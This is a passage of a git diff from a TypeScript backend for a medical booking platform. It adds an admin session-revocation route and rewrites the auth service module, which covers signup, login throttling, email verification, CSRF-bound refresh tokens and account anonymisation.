Session + * administration acts on *another* user, so it doesn't belong under + * `/auth`. */ +export const adminAuthRouter = Router(); + +adminAuthRouter.delete('/users/:id/sessions', authenticate, requireRole('admin'), authController.revokeUserSessions); diff --git a/backend/src/modules/auth/services/index.ts b/backend/src/modules/auth/services/index.ts index f9ca0e32..c2baaf10 100644 --- a/backend/src/modules/auth/services/index.ts +++ b/backend/src/modules/auth/services/index.ts @@ -1,596 +1,596 @@ -// Auth services β€” the only exported surface other modules (and this -// module's own controllers) may call. Never import repositories/* from -// outside this module. -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import { - anonymizeUser, - consumeVerificationToken, - createSelfServeUser, - deleteAnonymizedUser, - deleteLoginAttemptBucket, - deleteVerificationTokensForUser, - findLatestVerificationToken, - findUserByEmail, - findUserById, - findVerificationTokenByHash, - markUserEmailVerified, - replaceVerificationToken, -} from '../repositories'; -import { hashPassword, verifyPassword } from './password'; -import { signAccessToken, signRefreshToken, verifyRefreshToken } from './tokens'; -import { assertSessionUsable, recordSessionUse, startSession, type SessionContext } from './sessions'; -import { generateVerificationToken, hashVerificationToken } from './verification-tokens'; -import { sendEmail } from './email-dispatcher'; -import { - LoginThrottledError, - checkLoginThrottle, - emailThrottleKey, - normalizeClientIp, - registerFailedLogin, - resetLoginThrottle, -} from './login-throttle'; -import { csrfTokensMatch, generateCsrfToken } from '../../../middleware/csrf'; -import { redeemAdminInvite } from '../../users/services'; -import type { PatientExportSection } from '../../patients/services'; -import type { Locale } from '../../../i18n'; -import { formatMessage, resolveLocale } from '../../../i18n'; -import { randomBytes } from 'node:crypto'; -import type { Prisma, Role } from '@prisma/client'; - -// Re-exported so middleware/auth.ts (shared infra, not a peer module) can -// verify tokens through this module's service surface rather than -// reaching into services/tokens.ts directly. -export { verifyAccessToken } from './tokens'; -export type { AccessTokenPayload } from './tokens'; - -// Password reset (Phase 8 #33) lives in its own file; re-exported here so -// controllers keep calling a single service surface. -export { - confirmPasswordReset, - hashResetToken, - requestPasswordReset, - resetPasswordResetRateLimits, - type ConfirmPasswordResetInput, - type RequestPasswordResetInput, -} from './password-reset'; - -// Hashing is auth's business (issue #14): the admin-only facility-creation -// path in the facilities module hashes the initial password through this -// service surface rather than depending on bcrypt directly. -export { hashPassword, verifyPassword } from './password'; - -export { - assertSessionUsable, - listSessions, - recordSessionUse, - revokeAllUserSessions, - revokeOtherSessions, - revokeSession, - startSession, - type SessionContext, - type SessionSummary, -} from './sessions'; - -// Re-exported for the same reason: tests (and, at Phase 6, the provider -// integration) replace the outbound email sender through this module's -// service surface, not by importing the dispatcher file directly. -export { setEmailSender, resetEmailSender } from './email-dispatcher'; -export type { EmailMessage, EmailSender } from './email-dispatcher'; -// Login throttling (Phase 8, issue #35) β€” the login controller needs the -// error type to set a `Retry-After` header, and src/server.ts runs the -// cleanup job. Both go through this module's service surface. -export { LoginThrottledError, clearLoginAttempts, pruneLoginAttempts } from './login-throttle'; -export type { ThrottleDecision } from './login-throttle'; - -export interface AuthenticatedUser { - id: string; - email: string; - role: Role; - locale: string; - // Phase 8, issue #34 β€” exposed so docforum-web can gate booking UI on it - // without a second round trip. The server-side guard is the real - // enforcement point (`assertEmailVerified`). - emailVerifiedAt: Date | null; - createdAt: Date; - updatedAt: Date; -} - -export interface AuthSession { - user: AuthenticatedUser; - accessToken: string; - refreshToken: string; - /** Phase 8, issue #37 β€” handed to the client in the response body so it can - * echo it back in the `X-CSRF-Token` header on cookie-authenticated routes. - * It deliberately is NOT a JS-readable cookie: docforum-web is a different - * site from this API, so it couldn't read one. */ - csrfToken: string; - /** The refresh-session id this pair belongs to (Phase 8 #38) β€” lets the - * client mark its own entry in `GET /auth/sessions` as "this device". */ - sessionId: string; -} - -function toPublicUser(user: { - id: string; - email: string; - role: Role; - locale?: string; - emailVerifiedAt: Date | null; - createdAt: Date; - updatedAt: Date; -}): AuthenticatedUser { - return { - id: user.id, - email: user.email, - role: user.role, - locale: user.locale ?? 'en', - emailVerifiedAt: user.emailVerifiedAt, - createdAt: user.createdAt, - updatedAt: user.updatedAt, - }; -} - -function issueTokensForSession( - user: { id: string; role: Role; tokenVersion?: number; locale?: string }, - sessionId: string, -): { accessToken: string; refreshToken: string; csrfToken: string } { - const payload = { sub: user.id, role: user.role, tv: user.tokenVersion ?? 0, locale: user.locale ?? 'en' }; - // A fresh CSRF token per session, and per rotation β€” bound into the - // refresh token so verifying it needs no server-side state (issue #37). - const csrfToken = generateCsrfToken(); - // `sid` rides on the refresh token only: access tokens stay stateless so - // no protected request needs a session lookup (issue #38's "no write - // hot-spot" requirement). - return { - accessToken: signAccessToken(payload), - refreshToken: signRefreshToken({ ...payload, csrf: csrfToken, sid: sessionId }), - csrfToken, - }; -} - -/** Starts a new session (one per login) and issues its first token pair. */ -async function issueNewSession( - user: { id: string; role: Role; tokenVersion?: number; locale?: string }, - context: SessionContext, -): Promise<{ accessToken: string; refreshToken: string; csrfToken: string; sessionId: string }> { - const session = await startSession({ userId: user.id, ...context }); - return { ...issueTokensForSession(user, session.id), sessionId: session.id }; -} - -export interface SignupInput { - role: Extract; - email: string; - password: string; - fullName: string; - locale?: Locale; -} - -export async function signup(input: SignupInput, context: SessionContext = {}): Promise { - // Facility accounts are admin-invited only (PRD OQ-2) β€” enforced here, - // not just in docforum-web's UI. `Extract` on - // the type already narrows this at compile time; this is the runtime - // guard for a request that bypasses the frontend entirely. - if (input.role !== 'patient' && input.role !== 'doctor') { - throw new HttpError(400, 'Self-serve signup is only available for patient or doctor accounts.'); - } - - const existing = await findUserByEmail(input.email); - if (existing) { - throw new HttpError(409, 'An account with this email already exists.'); - } - - const passwordHash = await hashPassword(input.password); - const user = await createSelfServeUser({ - email: input.email, - passwordHash, - role: input.role, - fullName: input.fullName, - locale: input.locale, - }); - - // Phase 8, issue #34: the account is created and usable for browsing - // immediately, but unverified β€” mutating routes that depend on a - // trustworthy contact address are gated by `assertEmailVerified` until - // the link is redeemed. - await issueEmailVerification(user); - - const tokens = await issueNewSession(user, context); - return { user: toPublicUser(user), ...tokens }; -} - -/** - * Redeems an admin invite and signs the new admin in (Phase 8, issue #39). - * - * The invite itself belongs to the users module β€” this module only hashes - * the password and issues the session, calling that module's service rather - * than its repository (AGENTS.md hard rule 4). - */ -export interface SignupWithInviteInput { - token: string; - email: string; - password: string; -} - -export async function signupWithInvite(input: SignupWithInviteInput, context: SessionContext = {}): Promise { - const passwordHash = await hashPassword(input.password); - const user = await redeemAdminInvite({ token: input.token, email: input.email, passwordHash }); - - const tokens = await issueNewSession(user, context); - return { - user: { - id: user.id, - email: user.email, - role: user.role, - locale: user.locale, - // No verification email is sent on the invite path β€” the invite itself - // is the admin-vetted proof of address, so this stays null rather than - // claiming a verification that never happened. - emailVerifiedAt: null, - createdAt: user.createdAt, - updatedAt: user.updatedAt, - }, - ...tokens, - }; -} - -export interface LoginInput { - email: string; - password: string; - /** Client IP as Express resolved it (see TRUST_PROXY in config). Optional - * so non-HTTP callers/tests can omit it β€” the IP bucket is then simply - * not tracked for that attempt. */ - ip?: string | null; -} - -/** A real bcrypt hash (of a random string nobody knows) that a login for a - * non-existent address is compared against. Without it, an unknown email - * returns in ~0ms while a known one spends ~300ms in bcrypt β€” a timing - * side channel that answers "does this account exist?" even though the - * response body is identical. */ -const ABSENT_ACCOUNT_HASH = '$2b$12$z8J5gwFm9TiwC.YpeD6yguMkgakFPA8egT1KEKYiaeVkmb3CHRGXu'; - -export async function login(input: LoginInput, context: SessionContext = {}): Promise { - const throttleKeys = { - emailKey: emailThrottleKey(input.email), - ipKey: normalizeClientIp(input.ip), - }; - - // Before the password is even looked at: a locked or backing-off bucket is - // refused identically for a real and a non-existent address (issue #35). - const gate = await checkLoginThrottle(throttleKeys); - if (gate.blocked) { - // Still counted: backoff starts below the lock threshold, so if gated - // attempts weren't recorded the lock could never be reached. These are - // failed attempts either way (no credential was accepted). - const afterFailure = await registerFailedLogin(throttleKeys); - throw new LoginThrottledError(Math.max(gate.retryAfterSeconds, afterFailure.retryAfterSeconds)); - } - - const user = await findUserByEmail(input.email); - // Same message whether the email doesn't exist or the password is wrong β€” - // and the same *cost*, hence the dummy comparison for an absent account. - const valid = await verifyPassword(input.password, user?.passwordHash ?? ABSENT_ACCOUNT_HASH); - // `deletedAt` (issue #41): a deleted account's password is already - // unusable and its address is a tombstone, so this is defence in depth β€” - // and it answers exactly like a wrong password. - if (!user || !valid || user.deletedAt) { - const afterFailure = await registerFailedLogin(throttleKeys); - if (afterFailure.blocked) throw new LoginThrottledError(afterFailure.retryAfterSeconds); - throw new HttpError(401, 'Invalid email or password.'); - } - - await resetLoginThrottle(throttleKeys.emailKey); - - // Checked *after* the password: a deactivated account must not be - // distinguishable from a non-existent one without knowing the password - // (Phase 8, issue #39). - if (user.deactivatedAt) { - throw new HttpError(403, 'This account has been deactivated. Contact an administrator.'); - } - - const tokens = await issueNewSession(user, context); - return { user: toPublicUser(user), ...tokens }; -} - -// --- Email verification (Phase 8, issue #34) ----------------------------- - -/** Mints a fresh token, retires any outstanding one, and hands the link to - * the email dispatcher. The raw token is never persisted and never logged. */ -async function issueEmailVerification(user: { id: string; email: string; locale?: string }): Promise { - const token = generateVerificationToken(); - const expiresAt = new Date(Date.now() + config.auth.emailVerification.tokenTtlMinutes * 60_000); - - await replaceVerificationToken({ userId: user.id, tokenHash: hashVerificationToken(token), expiresAt }); - - const link = `${config.auth.emailVerification.landingUrl}?token=${encodeURIComponent(token)}`; - const locale = resolveLocale(user.locale); - const minutes = config.auth.emailVerification.tokenTtlMinutes; - try { - await sendEmail({ - to: user.email, - subject: formatMessage(locale, 'notifications.emailVerification.subject'), - text: formatMessage(locale, 'notifications.emailVerification.body', { minutes, link }), - }); - } catch (err) { - // A provider hiccup must not fail signup β€” the account exists and is - // usable, and the user can hit resend. Logged without the message body. - // eslint-disable-next-line no-console - console.error('[auth] verification email dispatch failed:', err instanceof Error ? err.message : err); - } -} - -export interface VerifyEmailResult { - emailVerifiedAt: Date; -} - -export async function verifyEmail(rawToken: string): Promise { - const record = await findVerificationTokenByHash(hashVerificationToken(rawToken)); - if (!record) { - throw new HttpError(400, 'Invalid email verification token.', 'INVALID_VERIFICATION_TOKEN'); - } - if (record.consumedAt) { - throw new HttpError( - 400, - 'This verification link has already been used. Request a new one if your email is still unverified.', - 'INVALID_VERIFICATION_TOKEN', - ); - } - if (record.expiresAt.getTime() <= Date.now()) { - throw new HttpError(400, 'This verification link has expired. Request a new one.', 'VERIFICATION_TOKEN_EXPIRED'); - } - - const now = new Date(); - // Conditional, not read-then-write β€” two tabs redeeming the same link - // must not both report success. - const consumed = await consumeVerificationToken(record.id, now); - if (!consumed) { - throw new HttpError(400, 'This verification link has already been used.', 'INVALID_VERIFICATION_TOKEN'); - } - - const user = await markUserEmailVerified(record.userId, now); - return { emailVerifiedAt: user.emailVerifiedAt ?? now }; -} - -export interface ResendVerificationResult { - resendAfterSeconds: number; -} - -/** Rate-limited so an unverified account can't be used to flood an inbox. - * Account-scoped rather than IP-scoped on purpose, and the endpoint is - * authenticated, so it can't be used to probe which addresses exist. */ -export async function resendVerificationEmail(userId: string): Promise { - const user = await findUserById(userId); - if (!user) throw new HttpError(401, 'Authentication required.'); - - if (user.emailVerifiedAt) { - throw new HttpError(409, 'This email address is already verified.', 'EMAIL_ALREADY_VERIFIED'); - } - - const intervalSeconds = config.auth.emailVerification.resendIntervalSeconds; - const latest = await findLatestVerificationToken(userId); - if (latest) { - const waitedSeconds = (Date.now() - latest.createdAt.getTime()) / 1000; - if (waitedSeconds < intervalSeconds) { - throw new HttpError( - 429, - `Please wait ${Math.ceil(intervalSeconds - waitedSeconds)}s before requesting another verification email.`, - 'EMAIL_VERIFICATION_RATE_LIMITED', - ); - } - } - - await issueEmailVerification(user); - return { resendAfterSeconds: intervalSeconds }; -} - -/** The enforcement point for "unverified accounts can log in and browse, but - * not book or pay" (issue #34). Deliberately a DB read rather than a claim - * baked into the access token: verifying in another tab then takes effect - * immediately instead of after the token's 15-minute TTL. */ -export async function assertEmailVerified(userId: string): Promise { - const user = await findUserById(userId); - if (!user) throw new HttpError(401, 'Authentication required.'); - if (!user.emailVerifiedAt) { - throw new HttpError(403, 'Verify your email address before continuing.', 'EMAIL_NOT_VERIFIED'); - } -} - -/** - * Exchanges the refresh cookie for a new session. - * - * `csrfToken` is the `X-CSRF-Token` header value (Phase 8, issue #37), - * checked against the claim inside the presented refresh token. The cookie - * is verified first so a garbage/missing cookie is still a 401, and a - * *valid* cookie without a matching CSRF token is a 403. - */ -export async function refresh(refreshToken: string, csrfToken?: string | null): Promise { - let payload; - try { - payload = verifyRefreshToken(refreshToken); - } catch { - throw new HttpError(401, 'Invalid or expired refresh token.'); - } - - if (!payload.csrf || !csrfToken || !csrfTokensMatch(csrfToken, payload.csrf)) { - throw new HttpError( - 403, - 'Missing or invalid CSRF token. Send the csrfToken from your login response in the X-CSRF-Token header.', - ); - } - - const user = await findUserById(payload.sub); - // A deleted account (issue #41) can't refresh its way back in. - if (!user || user.deletedAt) throw new HttpError(401, 'Invalid or expired refresh token.'); - - // Deactivated accounts can't refresh out of their deactivation, and a - // session revoked by deactivation/reactivation can't come back to life - // through a refresh cookie either (Phase 8, issue #39). - if (user.deactivatedAt) throw new HttpError(403, 'This account has been deactivated.'); - - // `tv` check: a password reset (or anything else that bumps - // `User.tokenVersion`) kills every refresh token issued before it. Tokens - // predating this field carry no `tv` and read as version 0, which is - // exactly right β€” they stay valid only while the user has never had a - // version bump. - if ((payload.tv ?? 0) !== user.tokenVersion) { - throw new HttpError(401, 'Invalid or expired refresh token.'); - } - - if (isSessionRevoked(user.sessionsInvalidatedAt, payload.iat)) { - throw new HttpError(401, 'Your session has been revoked. Please sign in again.'); - } - - // Tokens minted before session records existed carry no `sid` and are - // rejected: the migration logs existing sessions out once, which is the - // honest trade for actually having a revocation store. - if (!payload.sid) throw new HttpError(401, 'Invalid or expired refresh token.'); - - await assertSessionUsable({ sessionId: payload.sid, userId: user.id }); - await recordSessionUse(payload.sid); - - // Rotation keeps the same session (same family, same `sid`) β€” a new - // session row per refresh would make "list my sessions" useless. - const tokens = issueTokensForSession(user, payload.sid); - return { user: toPublicUser(user), ...tokens, sessionId: payload.sid }; -} - -/** The session id behind a refresh cookie, for endpoints that need to know - * which of the caller's sessions is the current one. Returns undefined for - * a missing/unverifiable cookie rather than throwing β€” "which session am - * I" is never the reason a request should fail. */ -export function sessionIdFromRefreshToken(refreshToken: string | undefined): string | undefined { - if (!refreshToken) return undefined; - try { - return verifyRefreshToken(refreshToken).sid; - } catch { - return undefined; - } -} - -/** - * Guards every authenticated request (Phase 8, issue #39). The access token - * is otherwise stateless, so a deactivated account's token would keep - * working for up to 15 minutes; this is the DB read that closes that gap. - * - * Deliberately narrow: it answers "is this account still active, and was - * this token issued after the last deactivation/reactivation", not "is this - * token on a revocation list" β€” a general revocation list is issue #18 and - * is still unbuilt. Because it's a per-request read, tokens carrying no - * `iat` are treated as revoked once `sessionsInvalidatedAt` is set (fail - * closed). - */ -export async function assertActiveSession(userId: string, issuedAtSeconds?: number): Promise { - const user = await findUserById(userId); - if (!user) throw new HttpError(401, 'Invalid or expired access token.'); - if (user.deactivatedAt) throw new HttpError(401, 'This account has been deactivated.'); - if (isSessionRevoked(user.sessionsInvalidatedAt, issuedAtSeconds)) { - throw new HttpError(401, 'Your session has been revoked. Please sign in again.'); - } -} - -function isSessionRevoked(sessionsInvalidatedAt: Date | null, issuedAtSeconds: number | undefined): boolean { - if (!sessionsInvalidatedAt) return false; - // `iat` has second precision, so a token minted in the same second as the - // invalidation counts as revoked β€” the safe direction. - return (issuedAtSeconds ?? 0) * 1000 < sessionsInvalidatedAt.getTime(); -} - -/** This module's contribution to the patient data export (issue #40): the - * login identity itself. Explicit allowlist β€” never the password hash, and - * no verification/throttle bookkeeping. */ -export const accountExportSection: PatientExportSection = { - name: 'account', - version: 1, - async *pages(subject) { - const user = await findUserById(subject.userId); - if (!user) return; - yield [ - { - id: user.id, - email: user.email, - phone: user.phone, - role: user.role, - emailVerifiedAt: user.emailVerifiedAt, - createdAt: user.createdAt, - updatedAt: user.updatedAt, - }, - ]; - }, -}; -// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- -// The patients module orchestrates `DELETE /patients/me`; this module owns -// everything about the login identity it touches. - -/** - * Re-confirms the caller's password for a destructive action. Shares the - * login throttle's per-account bucket: a locked account is refused before - * the hash is compared, and a wrong password counts as a failed login β€” so - * a stolen access token can't be used to brute-force the password here. - */ -export async function confirmPassword(userId: string, password: string, ip?: string | null): Promise { - const user = await findUserById(userId); - if (!user || user.deletedAt) throw new HttpError(401, 'Authentication required.'); - - const throttleKeys = { emailKey: emailThrottleKey(user.email), ipKey: normalizeClientIp(ip) }; - const gate = await checkLoginThrottle(throttleKeys); - if (gate.blocked) { - const afterFailure = await registerFailedLogin(throttleKeys); - throw new LoginThrottledError(Math.max(gate.retryAfterSeconds, afterFailure.retryAfterSeconds)); - } - - if (!(await verifyPassword(password, user.passwordHash))) { - const afterFailure = await registerFailedLogin(throttleKeys); - if (afterFailure.blocked) throw new LoginThrottledError(afterFailure.retryAfterSeconds); - throw new HttpError(403, 'Password confirmation failed.', 'PASSWORD_CONFIRMATION_FAILED'); - } -} - -export async function isAccountDeleted(userId: string): Promise { - const user = await findUserById(userId); - return Boolean(user?.deletedAt); -} - -/** The address a deleted account is left with: unique (derived from the id), - * stable across retries, and undeliverable (`.invalid` is reserved, RFC - * 2606). It frees the original address for a new signup. */ -export function tombstoneEmail(userId: string): string { - return `deleted+${userId}@deleted.invalid`; -} - -/** A real bcrypt hash of 32 random bytes nobody ever sees β€” so the deleted - * account's login can never succeed, and the login path still pays a - * normal bcrypt comparison. Computed outside the deletion transaction - * (bcrypt is deliberately slow). */ -export function createUnusablePasswordHash(): Promise { - return hashPassword(randomBytes(32).toString('base64url')); -} - -/** - * Anonymises the login identity, inside the caller's transaction: email to - * its tombstone, phone cleared, password unusable, verification cleared, - * `deletedAt` set; verification tokens and the old address's login-throttle - * bucket deleted. Returns false (and changes nothing) if the account was - * already deleted β€” repeat and concurrent deletions are no-ops. - */ -export async function anonymizeAccount( - tx: Prisma.TransactionClient, - userId: string, - input: { unusablePasswordHash: string; deletedAt: Date }, -): Promise { - const user = await findUserById(userId, tx); - if (!user || user.deletedAt) return false; - const anonymized = await anonymizeUser(tx, userId, { - tombstoneEmail: tombstoneEmail(userId), - unusablePasswordHash: input.unusablePasswordHash, - deletedAt: input.deletedAt, - }); - if (!anonymized) return false; - await deleteVerificationTokensForUser(tx, userId); - await deleteLoginAttemptBucket(tx, 'email', emailThrottleKey(user.email)); - return true; -} - -/** Tombstone purge: removes an already-anonymised User row. */ -export function purgeAnonymizedAccount(tx: Prisma.TransactionClient, userId: string): Promise { - return deleteAnonymizedUser(tx, userId); -} +// Auth services β€” the only exported surface other modules (and this +// module's own controllers) may call. Never import repositories/* from +// outside this module. +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import { + anonymizeUser, + consumeVerificationToken, + createSelfServeUser, + deleteAnonymizedUser, + deleteLoginAttemptBucket, + deleteVerificationTokensForUser, + findLatestVerificationToken, + findUserByEmail, + findUserById, + findVerificationTokenByHash, + markUserEmailVerified, + replaceVerificationToken, +} from '../repositories'; +import { hashPassword, verifyPassword } from './password'; +import { signAccessToken, signRefreshToken, verifyRefreshToken } from './tokens'; +import { assertSessionUsable, recordSessionUse, startSession, type SessionContext } from './sessions'; +import { generateVerificationToken, hashVerificationToken } from './verification-tokens'; +import { sendEmail } from './email-dispatcher'; +import { + LoginThrottledError, + checkLoginThrottle, + emailThrottleKey, + normalizeClientIp, + registerFailedLogin, + resetLoginThrottle, +} from './login-throttle'; +import { csrfTokensMatch, generateCsrfToken } from '../../../middleware/csrf'; +import { redeemAdminInvite } from '../../users/services'; +import type { PatientExportSection } from '../../patients/services'; +import type { Locale } from '../../../i18n'; +import { formatMessage, resolveLocale } from '../../../i18n'; +import { randomBytes } from 'node:crypto'; +import type { Prisma, Role } from '@prisma/client'; + +// Re-exported so middleware/auth.ts (shared infra, not a peer module) can +// verify tokens through this module's service surface rather than +// reaching into services/tokens.ts directly. +export { verifyAccessToken } from './tokens'; +export type { AccessTokenPayload } from './tokens'; + +// Password reset (Phase 8 #33) lives in its own file; re-exported here so +// controllers keep calling a single service surface. +export { + confirmPasswordReset, + hashResetToken, + requestPasswordReset, + resetPasswordResetRateLimits, + type ConfirmPasswordResetInput, + type RequestPasswordResetInput, +} from './password-reset'; + +// Hashing is auth's business (issue #14): the admin-only facility-creation +// path in the facilities module hashes the initial password through this +// service surface rather than depending on bcrypt directly. +export { hashPassword, verifyPassword } from './password'; + +export { + assertSessionUsable, + listSessions, + recordSessionUse, + revokeAllUserSessions, + revokeOtherSessions, + revokeSession, + startSession, + type SessionContext, + type SessionSummary, +} from './sessions'; + +// Re-exported for the same reason: tests (and, at Phase 6, the provider +// integration) replace the outbound email sender through this module's +// service surface, not by importing the dispatcher file directly. +export { setEmailSender, resetEmailSender } from './email-dispatcher'; +export type { EmailMessage, EmailSender } from './email-dispatcher'; +// Login throttling (Phase 8, issue #35) β€” the login controller needs the +// error type to set a `Retry-After` header, and src/server.ts runs the +// cleanup job. Both go through this module's service surface. +export { LoginThrottledError, clearLoginAttempts, pruneLoginAttempts } from './login-throttle'; +export type { ThrottleDecision } from './login-throttle'; + +export interface AuthenticatedUser { + id: string; + email: string; + role: Role; + locale: string; + // Phase 8, issue #34 β€” exposed so docforum-web can gate booking UI on it + // without a second round trip. The server-side guard is the real + // enforcement point (`assertEmailVerified`). + emailVerifiedAt: Date | null; + createdAt: Date; + updatedAt: Date; +} + +export interface AuthSession { + user: AuthenticatedUser; + accessToken: string; + refreshToken: string; + /** Phase 8, issue #37 β€” handed to the client in the response body so it can + * echo it back in the `X-CSRF-Token` header on cookie-authenticated routes. + * It deliberately is NOT a JS-readable cookie: docforum-web is a different + * site from this API, so it couldn't read one. */ + csrfToken: string; + /** The refresh-session id this pair belongs to (Phase 8 #38) β€” lets the + * client mark its own entry in `GET /auth/sessions` as "this device". */ + sessionId: string; +} + +function toPublicUser(user: { + id: string; + email: string; + role: Role; + locale?: string; + emailVerifiedAt: Date | null; + createdAt: Date; + updatedAt: Date; +}): AuthenticatedUser { + return { + id: user.id, + email: user.email, + role: user.role, + locale: user.locale ?? 'en', + emailVerifiedAt: user.emailVerifiedAt, + createdAt: user.createdAt, + updatedAt: user.updatedAt, + }; +} + +function issueTokensForSession( + user: { id: string; role: Role; tokenVersion?: number; locale?: string }, + sessionId: string, +): { accessToken: string; refreshToken: string; csrfToken: string } { + const payload = { sub: user.id, role: user.role, tv: user.tokenVersion ?? 0, locale: user.locale ?? 'en' }; + // A fresh CSRF token per session, and per rotation β€” bound into the + // refresh token so verifying it needs no server-side state (issue #37). + const csrfToken = generateCsrfToken(); + // `sid` rides on the refresh token only: access tokens stay stateless so + // no protected request needs a session lookup (issue #38's "no write + // hot-spot" requirement). + return { + accessToken: signAccessToken(payload), + refreshToken: signRefreshToken({ ...payload, csrf: csrfToken, sid: sessionId }), + csrfToken, + }; +} + +/** Starts a new session (one per login) and issues its first token pair. */ +async function issueNewSession( + user: { id: string; role: Role; tokenVersion?: number; locale?: string }, + context: SessionContext, +): Promise<{ accessToken: string; refreshToken: string; csrfToken: string; sessionId: string }> { + const session = await startSession({ userId: user.id, ...context }); + return { ...issueTokensForSession(user, session.id), sessionId: session.id }; +} + +export interface SignupInput { + role: Extract; + email: string; + password: string; + fullName: string; + locale?: Locale; +} + +export async function signup(input: SignupInput, context: SessionContext = {}): Promise { + // Facility accounts are admin-invited only (PRD OQ-2) β€” enforced here, + // not just in docforum-web's UI. `Extract` on + // the type already narrows this at compile time; this is the runtime + // guard for a request that bypasses the frontend entirely. + if (input.role !== 'patient' && input.role !== 'doctor') { + throw new HttpError(400, 'Self-serve signup is only available for patient or doctor accounts.'); + } + + const existing = await findUserByEmail(input.email); + if (existing) { + throw new HttpError(409, 'An account with this email already exists.'); + } + + const passwordHash = await hashPassword(input.password); + const user = await createSelfServeUser({ + email: input.email, + passwordHash, + role: input.role, + fullName: input.fullName, + locale: input.locale, + }); + + // Phase 8, issue #34: the account is created and usable for browsing + // immediately, but unverified β€” mutating routes that depend on a + // trustworthy contact address are gated by `assertEmailVerified` until + // the link is redeemed. + await issueEmailVerification(user); + + const tokens = await issueNewSession(user, context); + return { user: toPublicUser(user), ...tokens }; +} + +/** + * Redeems an admin invite and signs the new admin in (Phase 8, issue #39). + * + * The invite itself belongs to the users module β€” this module only hashes + * the password and issues the session, calling that module's service rather + * than its repository (AGENTS.md hard rule 4). + */ +export interface SignupWithInviteInput { + token: string; + email: string; + password: string; +} + +export async function signupWithInvite(input: SignupWithInviteInput, context: SessionContext = {}): Promise { + const passwordHash = await hashPassword(input.password); + const user = await redeemAdminInvite({ token: input.token, email: input.email, passwordHash }); + + const tokens = await issueNewSession(user, context); + return { + user: { + id: user.id, + email: user.email, + role: user.role, + locale: user.locale, + // No verification email is sent on the invite path β€” the invite itself + // is the admin-vetted proof of address, so this stays null rather than + // claiming a verification that never happened. + emailVerifiedAt: null, + createdAt: user.createdAt, + updatedAt: user.updatedAt, + }, + ...tokens, + }; +} + +export interface LoginInput { + email: string; + password: string; + /** Client IP as Express resolved it (see TRUST_PROXY in config). Optional + * so non-HTTP callers/tests can omit it β€” the IP bucket is then simply + * not tracked for that attempt. */ + ip?: string | null; +} + +/** A real bcrypt hash (of a random string nobody knows) that a login for a + * non-existent address is compared against. Without it, an unknown email + * returns in ~0ms while a known one spends ~300ms in bcrypt β€” a timing + * side channel that answers "does this account exist?" even though the + * response body is identical. */ +const ABSENT_ACCOUNT_HASH = '$2b$12$z8J5gwFm9TiwC.YpeD6yguMkgakFPA8egT1KEKYiaeVkmb3CHRGXu'; + +export async function login(input: LoginInput, context: SessionContext = {}): Promise { + const throttleKeys = { + emailKey: emailThrottleKey(input.email), + ipKey: normalizeClientIp(input.ip), + }; + + // Before the password is even looked at: a locked or backing-off bucket is + // refused identically for a real and a non-existent address (issue #35). + const gate = await checkLoginThrottle(throttleKeys); + if (gate.blocked) { + // Still counted: backoff starts below the lock threshold, so if gated + // attempts weren't recorded the lock could never be reached. These are + // failed attempts either way (no credential was accepted). + const afterFailure = await registerFailedLogin(throttleKeys); + throw new LoginThrottledError(Math.max(gate.retryAfterSeconds, afterFailure.retryAfterSeconds)); + } + + const user = await findUserByEmail(input.email); + // Same message whether the email doesn't exist or the password is wrong β€” + // and the same *cost*, hence the dummy comparison for an absent account. + const valid = await verifyPassword(input.password, user?.passwordHash ?? ABSENT_ACCOUNT_HASH); + // `deletedAt` (issue #41): a deleted account's password is already + // unusable and its address is a tombstone, so this is defence in depth β€” + // and it answers exactly like a wrong password. + if (!user || !valid || user.deletedAt) { + const afterFailure = await registerFailedLogin(throttleKeys); + if (afterFailure.blocked) throw new LoginThrottledError(afterFailure.retryAfterSeconds); + throw new HttpError(401, 'Invalid email or password.'); + } + + await resetLoginThrottle(throttleKeys.emailKey); + + // Checked *after* the password: a deactivated account must not be + // distinguishable from a non-existent one without knowing the password + // (Phase 8, issue #39). + if (user.deactivatedAt) { + throw new HttpError(403, 'This account has been deactivated. Contact an administrator.'); + } + + const tokens = await issueNewSession(user, context); + return { user: toPublicUser(user), ...tokens }; +} + +// --- Email verification (Phase 8, issue #34) ----------------------------- + +/** Mints a fresh token, retires any outstanding one, and hands the link to + * the email dispatcher. The raw token is never persisted and never logged. */ +async function issueEmailVerification(user: { id: string; email: string; locale?: string }): Promise { + const token = generateVerificationToken(); + const expiresAt = new Date(Date.now() + config.auth.emailVerification.tokenTtlMinutes * 60_000); + + await replaceVerificationToken({ userId: user.id, tokenHash: hashVerificationToken(token), expiresAt }); + + const link = `${config.auth.emailVerification.landingUrl}?token=${encodeURIComponent(token)}`; + const locale = resolveLocale(user.locale); + const minutes = config.auth.emailVerification.tokenTtlMinutes; + try { + await sendEmail({ + to: user.email, + subject: formatMessage(locale, 'notifications.emailVerification.subject'), + text: formatMessage(locale, 'notifications.emailVerification.body', { minutes, link }), + }); + } catch (err) { + // A provider hiccup must not fail signup β€” the account exists and is + // usable, and the user can hit resend. Logged without the message body. + // eslint-disable-next-line no-console + console.error('[auth] verification email dispatch failed:', err instanceof Error ? err.message : err); + } +} + +export interface VerifyEmailResult { + emailVerifiedAt: Date; +} + +export async function verifyEmail(rawToken: string): Promise { + const record = await findVerificationTokenByHash(hashVerificationToken(rawToken)); + if (!record) { + throw new HttpError(400, 'Invalid email verification token.', 'INVALID_VERIFICATION_TOKEN'); + } + if (record.consumedAt) { + throw new HttpError( + 400, + 'This verification link has already been used. Request a new one if your email is still unverified.', + 'INVALID_VERIFICATION_TOKEN', + ); + } + if (record.expiresAt.getTime() <= Date.now()) { + throw new HttpError(400, 'This verification link has expired. Request a new one.', 'VERIFICATION_TOKEN_EXPIRED'); + } + + const now = new Date(); + // Conditional, not read-then-write β€” two tabs redeeming the same link + // must not both report success. + const consumed = await consumeVerificationToken(record.id, now); + if (!consumed) { + throw new HttpError(400, 'This verification link has already been used.', 'INVALID_VERIFICATION_TOKEN'); + } + + const user = await markUserEmailVerified(record.userId, now); + return { emailVerifiedAt: user.emailVerifiedAt ?? now }; +} + +export interface ResendVerificationResult { + resendAfterSeconds: number; +} + +/** Rate-limited so an unverified account can't be used to flood an inbox. + * Account-scoped rather than IP-scoped on purpose, and the endpoint is + * authenticated, so it can't be used to probe which addresses exist. */ +export async function resendVerificationEmail(userId: string): Promise { + const user = await findUserById(userId); + if (!user) throw new HttpError(401, 'Authentication required.'); + + if (user.emailVerifiedAt) 